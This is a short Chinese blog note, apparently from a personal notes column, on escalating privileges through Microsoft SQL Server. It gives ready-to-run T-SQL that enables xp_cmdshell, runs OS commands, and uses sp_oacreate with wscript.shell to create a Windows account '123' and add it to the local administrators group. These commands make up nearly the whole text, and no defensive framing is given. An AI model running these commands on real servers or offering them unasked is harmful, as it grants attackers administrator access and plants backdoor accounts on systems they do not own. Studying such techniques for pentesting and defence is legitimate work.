mssql数据库提权（xp_cmdshell)

最新推荐文章于 2025-03-29 21:49:17 发布

内蒙古打野

最新推荐文章于 2025-03-29 21:49:17 发布

阅读量984

点赞数

分类专栏：笔记文章标签： mssql

本文链接：https://blog.youkuaiyun.com/weixin_45945976/article/details/109224254

版权

笔记专栏收录该内容

35 篇文章

订阅专栏

mssql数据库提权（xp_cmdshell)
利用 xp_cmdshell 存储过程
代码：EXEC master.dbo.xp_cmdshell ‘ipconfig’
在这里插入图片描述

开启xp_cmdshell
exec sp_configure ‘show advanced options’, 1;reconfigure;
exec sp_configure ‘xp_cmdshell’,1;reconfigure;

关闭xp_cmdshell
exec sp_configure ‘show advanced options’, 1;reconfigure;
exec sp_configure ‘xp_cmdshell’, 0;reconfigure

添加账号
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,‘run’,null,‘c:\windows\system32\cmd.exe /c net user 123 123 /add’

将123账号添加到administrators超级管理组
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,‘run’,null,‘c:\windows\system32\cmd.exe /c net localgroup administrators 123/add’